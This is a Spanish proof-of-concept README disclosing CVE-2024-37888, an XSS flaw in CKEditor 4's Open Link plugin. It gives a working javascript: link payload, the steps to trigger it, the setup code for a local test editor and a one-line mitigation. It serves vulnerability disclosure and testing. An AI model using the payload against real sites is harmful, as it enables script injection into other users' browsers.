
PoC/Exploit XSS para el plugin Open Link de CKEditor 4
Este repositorio documenta los detalles de la vulnerabilidad y el exploit para CVE-2024-37888, descubierta y reportada por Anurag Mondal (7Ragnarok7) el 21 de mayo de 2024.
Esta Prueba de Concepto (POC) demuestra la explotación de una vulnerabilidad XSS que descubrí recientemente en el plugin Open Link, el cual, cuando está habilitado, afecta directamente a todas las versiones de CKEditor 4. La falla permite la ejecución de JavaScript a través de enlaces manipulados dentro del editor, los cuales el plugin no logra sanear. Esta falla puede explotarse dentro del área de texto solo cuando el plugin Open Link está instalado. El plugin Open Link nos permite abrir enlaces directamente dentro del área de edición.
Esta vulnerabilidad puede probarse desde la instancia de CKEditor preconfigurada disponible aquí.
Insertar el payload:
Abra la instancia de CKEditor y haga clic en el icono "Source".
Inserte el siguiente payload en el área de texto:
<a href="javascript:alert('XSS Found')">XSS</a>

Cambiar al modo WYSIWYG:

Activar el XSS:

Puede configurar su propia instancia local para probar esta vulnerabilidad siguiendo los pasos a continuación.
Descargar CKEditor 4:

Instalar el plugin Open Link:
ckeditor/plugins/openlink.
Actualizar la configuración para incluir el plugin OpenLink:
config.js de CKEditor añadiendo las siguientes líneas al final:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Incluir CKEditor en HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

Esta vulnerabilidad se ha descubierto en la base de código del plugin Open Link y no en la base de código de CKEditor 4. El POC anterior demuestra la explotación de una vulnerabilidad XSS a través del plugin Open Link en CKEditor 4.*.*. La falla permite la ejecución arbitraria de JavaScript mediante enlaces especialmente diseñados, lo que supone un riesgo de seguridad significativo.
config.disallowedContent = 'a[onclick]';